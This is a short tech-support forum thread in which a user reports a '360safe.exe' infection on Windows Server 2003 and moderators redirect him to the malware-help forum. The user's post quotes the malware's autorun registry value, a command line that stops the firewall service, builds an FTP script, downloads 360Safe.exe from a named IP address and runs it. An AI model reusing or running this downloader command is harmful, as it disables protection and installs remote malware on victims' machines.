# 360safe.exe affected



## dhirajk (Apr 13, 2011)

HI all,


I have an Windows Server 2003 operating system. From last 1 month this operating system is got affected by virus named 360safe.exe. 
When I searched i found some entries in registry
Ball.exe
360.exe
360safe.exe

registry name is as following

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\Shell

the shell value :- "c:\windows\system32\cmd.exe /c net1 stop sharedaccess&echo open 61.164.117.84> cmd.txt&echo 123>> cmd.txt&echo 123>> cmd.txt&echo binary >> cmd.txt&echo get 360Safe.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&p -s:cmd.txt&360Safe.exe&360Safe.exe&del"

due to this whenever I restart my machine cmd.exe executes and trying to ftp to the ip 61.164.117.84. but it fails.

I also observed that Ball.exe and 360.exe are running in process in taskmanager.

I have tried to delete above registry entry but its not worked. Then I tried registry cleaner, Malwarebytes, Advanced System Care, but its not worked for me. I have antivirus named Eset NOD32 Business edition.

Frnds Please help me. I think Due to this virus my W3wp.exe and cscript.exe is affected.

Please tell me how can I remove this virus.


----------



## koala (Mar 27, 2005)

NEW INSTRUCTIONS - Read This Before Posting For Malware Removal Help - Tech Support Forum


----------



## dhirajk (Apr 13, 2011)

Here is an attachment of log which is generated with gmer.exe.
Kindly go through it and suggest me how to remove this virus.


----------



## Basementgeek (Feb 7, 2005)

Hi:

You are posting in the wrong forum for malware/infection problems.

Please follow our pre-posting process outlined here: 
NEW INSTRUCTIONS - Read This Before Posting For Malware Removal Help - Tech Support Forum
After running through *all *the steps, please post the requested logs in the Virus/Trojan/Spyware Help  forum, *not here.*
If you have trouble with one of the steps, simply move on to the next one, and make note of it in your reply.
Please note that the Virus/Trojan/Spyware Help forum is extremely busy, and it may take a while to receive a reply.

BG


----------



## 2xg (Aug 5, 2009)

*dhirajk* - Please follow Post#2 and 4 instructions.

Thread Closed.


----------

